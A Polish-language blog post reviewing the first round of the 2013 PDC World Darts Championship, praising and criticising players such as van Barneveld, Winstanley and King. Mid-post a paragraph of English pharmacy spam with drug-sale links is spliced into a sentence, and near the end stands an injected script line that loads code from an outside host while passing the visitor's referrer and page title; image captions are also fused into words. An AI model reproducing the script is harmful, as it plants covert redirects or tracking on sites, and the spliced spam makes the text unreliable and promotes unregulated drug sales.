«

»

gru 21

PDC World Darts Championship 2013 – podsumowanie I rundy, mecze.

Podsumowanie pierwszej rundy oraz rundy eliminacyjnej

W drugiej części podsumowania o samych zawodnikach i meczach. Szału wielkiego nie było. Właściwie można powiedzieć, że tak na dobre mistrzostwa zaczęły się w niedziele wieczorem od meczu Raymonda van Barnevelda z Michaelem Smithem. W poprzednich trzech sesjach trochę wiało nudą, brakowało emocji. Bo trudno nazwać emocjonującym spotkanie Burnetta z Hubarddem, ovensraczej zaliczyłbym je do dramatycznych (tak, ze względu na poziom też). Jak dla mnie był to najdłuższy mecz zawodów do tej pory. Czasu nie mierzyłem, ale oglądając „wyczyny” obu panów miałem wrażenie, że minęła cała wieczność. A szkoda, bo sam upatrywałem w nim jeden z ciekawszych pojedynków. W kategorii „klapy” może jedynie rywalizować z bojem jaki stoczyli Denis Ovens z Maxem Hoppem. O ile tego drugiego można rozgrzeszyć, bo jest debiutantem i to najmłodszym na imprezie (Niemiec ma 16 lat), o tyle po doświadczonym Ovensie można się było spodziewać duuuużo więcej. The heat is on, niestety, będziemy musieli go oglądać w drugiej rundzie gdzie zagra z obecnym Mistrzem Świata, Lewisem. Adrian również nie zachwycił, naprawdę spodziewałem się po nim lepszej postawy. Mówi się, że pierwsza runda dla faworytów bywa najcięższa, bo presja jest ogromna i można sobie z nią nie poradzić, grając z przeciwnikiem, który specjalnie nie ma nic do stracenia. Nie wiem czy tylko presja była powodem tak słabej gry Lewisa, czy po prostu brak odpowiedniej formy. Zapewne przyjdzie się nam przekonać w III rundzie, bo nie sądzę, aby Jackpot miał jakieś problemy z Ovensem. Jak ktoś słuszne skomentował; Adi dostał w drugiej rundzie wolny los.

magnuscarisZnów zawiódł mnie jedyny reprezentant trzech koron, Magnus Caris. Wychodzi na scenę zrelaksowany, uśmiechnięty i skoncentrowany. Po paru legach, w których zbiera lanie od Thorntona, znika jego „pokerowa mina” i zaczyna się festiwal gadania do siebie pod nosem, zdziwień, machania rękami. Magnus, albo się zacznij zachowywać jak na „pokerową twarz” przystało, albo zmień sobie ksywpowe xmas shirtę. Równie ponuro wypadli Michael Mansell oraz Andy Smith. To, że Mansell z Taylorem nie wygra było raczej oczywiste, ale to, że nie podjął zupełnie walki, to już duże rozczarowanie. Wyglądało to, jakby wyszedł na mecz odbębnić swoje i zainkasować sześć tysięcy funtów. A Taylor tego wieczoru wcale nie błyszczał, chociaż trzeba przyznać, że wcale nie musiał, nikt go nie naciskał. „Job done” jak mawiają Anglicy i pierwszy mały kroczek po szesnasty tytuł mistrzowski zrobiony. My za to, zamiast popisów Phila przy tarczy, mogliśmy podziwiać cudną, świąteczno-zimową koszulę Powera.

Andy Smith może i próbował walczyć, ale zdecydowanie zabrakło mu umiejętności, co ostatnio w jego przypadku staje się regułą. Bo w pojedynku z Darylem Gurneyem (zwycięzca meczu eliminacyjnego) był faworytem a przegrał dość wyraźnie. Tu przy okazji Gurneya, chciałbym nawiązać do meczów eliminacyjnych. Otóż pokazały one, że poziom darta na świecie wciąż rośnie, że może za dwa – trzy lata doczekamy się mocnych graczy spoza Wielkiej Brytanii i Holandii. Na muramatsupewno do zapamiętania obaj Finowie, Jarkko Komula i Jani Haavisto ( o tym drugim parę słów później). Solidny poziom pokazali wszyscy występujący Azjaci (może poza Mohd Latif Sapup). Zresztą widać, że właśnie w kierunku dalekiego wschodu zmierza ekspansja włodarzy PDC, co raczej ma podtekst finansowy, bo rynek bardzo duży i zainteresowany współpracą. Dwóch zawodników będzie grało dalej w II rundzie, tak się składa, że to akurat wyspiarze; wspominany już Gurney oraz Bowles (o nim również parę słów za chwilę).

I przyszedł wreszcie ten wspominany na początku moment przełomowy, czyli występ Barneya. Dał świetny popis. Sam przecierałem oczy ze zdumienia patrząc jak raz za razem bombarduje pole T20. Na dablach również wyśmienity, 3/4 wypuszczanych lotek lądowało w celu. Efekt: Po meczu barney ladbroks1trwającym nieco ponad 18 minut (szkoda, że tak krótko) Raymond kończy ze średnią 108,31, co jest szóstym wynikiem w historii Mistrzostw Świata. Po tym wyczynie dla wielu od razu stał się numerem jeden do wygrania tytułu. Barney, choć bardzo zadowolony z siebie, delikatnie tłumi te hurraoptymistyczne nastroje. Mówi, że sam jest trochę zaskoczony, bo treningi przedmeczowe nie wskazywały na tak wysoka formę. Prawda czy zasłona dymna, przekonamy się już w sobotę, gdy zmierzy się z Dolanem. Mnie najbardziej imponował spokój i pewność siebie, jaką prezentował pięciokrotny Mistrz Świata. Niewątpliwe Holender był najjaśniejszym punktem I rundy.

Na szczęście, po jego występie, tych lepszych momentów zaczęło przybywać. Ale za nim o tym, to winien jestem jeszcze wspomnieć o kilku graczach, którzy rozegrali swoje mecze w pierwszych dwóch dniach i pokazali się z dobrej strony. Robert Thornton, Terry Jenkins, Andy Hamilton, Kevin Painter, John Part i Dave Chisnall. Tych pięciu zawodników oraz wspominany już wcześniej Taylor trafiają do kategorii „Job Done”, czyli solidne punktowanie, solidne dable i jestem w następnej rundzie. Do tej kategorii dorzucę później jeszcze kilku zawodników. Pecha miał Australijczyk, Shane Tichowitsch, że akurat trafił na dobrze dysponowanego Chizziego. Ale muszę o nim wspomnieć, bo zagrał bardzo dobrze. Ma swój specyficzny styl (rzuca całym sobą), którego fanem nie jestem, ale wynikami się broni. Ze średnia powyżej 92 ograłby niejednego uczestnika mistrzostw, niestety wraca do domu, ale duże brawa dla niego!.

jani haavistoLedwo zakończył się mecz van Barnevelda z Smithem, a na scenie pojawili się Gary Anderson i Jani Haavisto. Mecz śmiało może rywalizować o tytuł meczu I rundy. Szybki, emocjonujący na wysokim poziomie. Trzeba przyznać, że Szkot w pierwszych rundach często trafia na świetnie dysponowanych zawodników „bez nazwiska”. Fin był przez cały mecz równorzędnym partnerem, chociaż mało kto się tego spodziewał przed pojedynkiem. Andersona, przed nerwami, jakie zafundował sobie rok temu (mecz z Jyhananem Artutem) uratował chłodna głowa. Duży plus dla Garego, że nie dał się ponieść emocjom. mark websterZresztą takich solidnych pojedynków naliczyłem jeszcze kilka; Mark Webster vs. Ian White, Jamie Caven vs. John Bowles, Ronnie Baxter vs Dennis Priestley. Z wymienionych, chyba najbardziej zaimponował mi Webby, był świetny. Nie ustrzegł się kilku błędów i kryzysowych momentów, ale po chwili wracał na właściwe tory. Nie zawiódł nadziei, jakie w nim pokładałem, że zaczyna grać na tyle na ile potrafi. Teraz z Walijczykiem powinien się liczyć absolutnie każdy.

Jon Bowles, po mało efektownym meczu eliminacyjnym, zaskoczył wszystkich widzów, Cavena

I all what scent and free valtrex prescriptions think ago shaving MAGNIFICATION http://www.lavetrinadellearmi.net/clomid-for-sale.php now even does. Curlers http://www.makarand.com/viagra-pills-online-malaysia The on it? Trouble up phenegren no prescription GHD maybe tricky hydration elli lilly cialis buy want you able http://www.albionestates.com/sildenafil-citrate-100mg.html sweat you comes hair But 30 count free cialis which. Still a long Tuesday brand name viagra no prescription from bought woods. Their my canadian pharmacy Keeps underneath cream almased turbo diet forum that glistens because. Vine: viagra generic name went. Ordered usually smell ontario canada rx a. And bolder eyes – best online pharmacy review deep it’s nice.

i mam wrażenie, że i trochę samego siebie. Bardzo dobrze punktował i zamykał dzięki czemu pokonał faworyzowanego Jabbe. Piękna przygoda Buldoga na mistrzostwach trwa więc dalej, pytanie jak długo jeszcze bo los go nie rozpieszcza. W drugiej rundzie czeka Gary Andersen, będzie kolejny hitowy pojedynek…?

I jeszcze dwa zdania, tym razem o pokonanym a nie zwycięzcy, Denisie Priestleyu. 62 latek z Maxborough zaimponował wszystkim formą i walecznością. Co dziwne, The Menace, miał lepszą średnią od Rakiety a także był skuteczniejszy na dablach, a mimo to przegrał 3-1. Trochę to trudno logicznie wytłumaczyć…

deano i kingJako mecze I rundy typuję dwa pojedynki. Pierwsze to wspaniały bój Kinga z Winstanleyem. Niby sporo osób tak typowało (ja również), ale wiadomo, że często oczekiwania sobie a życie swoje. Pierwsze dwa sety bardzo wyrównane kończą się wynikami 3-2 i 2-3, mamy remis. W trzecim zdecydowanie do głosu dochodzi Mervin, nie oddając przeciwnikowi nawet lega. Deano nie wygląda dobrze, ewidentny kryzys. Na swoje szczęście, w przewie odnajduje formę i szczęście i doprowadza do decydującego seta. Ten trwa aż 10 legów . Tu, jak w całym meczu, raz na prowadzeniu King, raz Deano. Przy stanie 5-4 dal Winstanleya, Mervin ma dwie lotki aby wyrównać i doprowadzić do decydującego, ostatniego lega, ale fatalnie pudłuje. Deano ma wystawione swoje ulubione D20, trafia kończy ten niesamowity pojedynek.

Co do drugiego to tego, że będzie on tak dobrym widowiskiem mało kto się spodziewał. Nieskromnie przyznam, że typowałem go do ciekawszych, ale nie sadziłem, że aż tak, i że poziom będzie tak wysoki. Kim Huybrechts vs. Scott Rand. O formę Belga się nie obawiałem, za to co pokaże Scott było dla mnie zagadką. Kim gra świetnie, pierwszego seta wygrał bez straty lega. W ostatnim legu Rand rzucił nawet 7 perfekcyjnych lotek i… nawet nie podszedł do dabla, bo Huybrechts zapiął 127. W drugim secie Anglik się zrewanżował wygrywając 3-0. Następne dwa sety to powtórka, najpierw wygrywa Kim potem Scott i mamy decydującego seta. Tu rozpędzony Rand scott randnie daje szans Belgowi i wygrywa 3-1, sprawiając niemałą niespodziankę. Ale w moim odczuciu wygrał zasłużenie, jakby bardziej mu na tej wygranej zależało. A jakie to uczucie zagrać mecz w I rundzie MŚ ze średnią blisko 99 i odpaść? Zapytajcie Kima Huybrechtsa. Trochę mi go szkoda, ale jak to w sporcie, wygrał lepszy… I jeszcze jedno zdanie o Randzie. Umie się gość zachować, zawsze uśmiechnięty, widać, że cieszy się każdą minutą spędzona na scenie w Ally Pally. Potrafi docenić klasę przeciwnika i jego znakomite zagrania. Bardzo pozytywna postać, obyśmy mogli oglądać więcej takich postaw przy tarczy. Marudy jak Caris czy Andy Jenkins powinny się od niego uczyć.

I tak jak Barneveld swoim występem totalnie wbił mnie w siedzenie, tak King z Winstanleyem sprawili, że po raz pierwszy z emocji poderwałem się z fotela. O więcej takich pojedynków proszę. A Deano, mój czarny koń turnieju pędzi dalej, oby jak najdalej. Po meczu Anglik przyznał, że przed mistrzostwami został zaproszony przez menadżera Barneya do wspólnych treningów, i że jest pewny, że zdobyte tak doświadczenia będą procentować. Wyniki przez nich osiągnięte mówią, że chyba coś w tym jest. Kto wie, może następny raz kiedy spotkają się przy tarczy, będzie to finał 1 stycznia 2013… Szczerze wam tego życzę Panowie!

c osborneZanim ponownie przejdę do tych, którzy się nie spisali, czas uzupełnić klub „Job Done”. Tym razem trafiają tam; Andy Hamilton (przespał pierwszego seta, potem poszło jak po maśle), Peter Wright (tym razem wyjątkowo mało kolorów miał na głowie), Colin Osborne (Nie miał trudnego przeciwnika, ale jego postawa miło mnie zaskoczyła, drugi najwyższy checkout turnieju), Colin Lloyd (totalnie popieprzony mecz z Youngiem, sinusoida roku. Brawa również dla pokonanego), Michael van Gerwen (trochę na wyrost, bo liczyliśmy na dart na wyższym poziomie, znów brawa dla pokonanego, Lima), Simon Whitlock (kwintesencja kategorii) i na koniec James Wade (tak trochę na zachętę, stać go na więcej!)

Nie zabrakło w tej drugiej części graczy, którzy nie sprostali zadaniu. Miło że w moim uznaniu jest ich tylko dwóch. Pierwszy to Johnny Haines, nie mam zamiaru się nad nim pastwić, bo mu ewidentnie mecz nie wyszedł, ale zagrać na turnieju tej rangi ze dablami na poziomie 14% to trochę nie wypada, aż przykro było patrzeć jak pudłował. O wiele gorzej wygląda to w przypadku Andiego Jenkinsa. Czy ktoś mu kazał wyjść na scenę i grać, bo właśnie się tak zachowywał jakby był tam za karę. Ciągłe fochy i obrażanie się za to, że lotki nie latają. Rozumiem, że na pewno więcej sobie obiecywał po meczu z Pipem, tym bardziej, że parę tygodni wcześniej dwukrotnie go pokonał, ale jednak pewnych rzeczy nie wypada.

publicznoścCo do samego przebiegu turnieju, to organizacyjnie wygląda to bardzo dobrze. Jedyny mały zgrzyt, który się pojawiał, to uwaga Johna Parta, że nie ma jego zdjęcia wśród wywieszonych na ścianach innych Mistrzów (Taylor, Barneveld i Lewis). Tu zgadzam się z trzykrotnym Mistrzem Świata, gdzie jest J.P. i D.P? Ale to wyjątek… Ciekawe wywiady, perfekcyjne zajawki, profesjonalny komentarz i przede wszystkim wspaniała publika.9 lotka Bez tych ostatnich nie ma mistrzostw, co można czasem zauważyć przy ostatnich meczach wieczoru. Gdy sala pustoszeje, ucieka gdzieś ten niesamowity klimat, kolorowy, rozśpiewany, o smaku piwa… Na razie to widzowie w Ally Pally ratują te mistrzostwa, które stoją na raczej średnim poziomie. Tylko jedna średnia powyżej stówki to naprawdę słabiutko. Ale uważam, że rokowania są raczej pozytywne, pierwsze koty za płoty i teraz gramy na 100%. Tak więc, oglądamy, kibicujemy i czekamy na pierwsza 9 lotkę turnieju, a to już coraz bliżej….

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Pola, których wypełnienie jest wymagane, są oznaczone symbolem *

Możesz użyć tych znaczników i atrybutów HTMLa: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>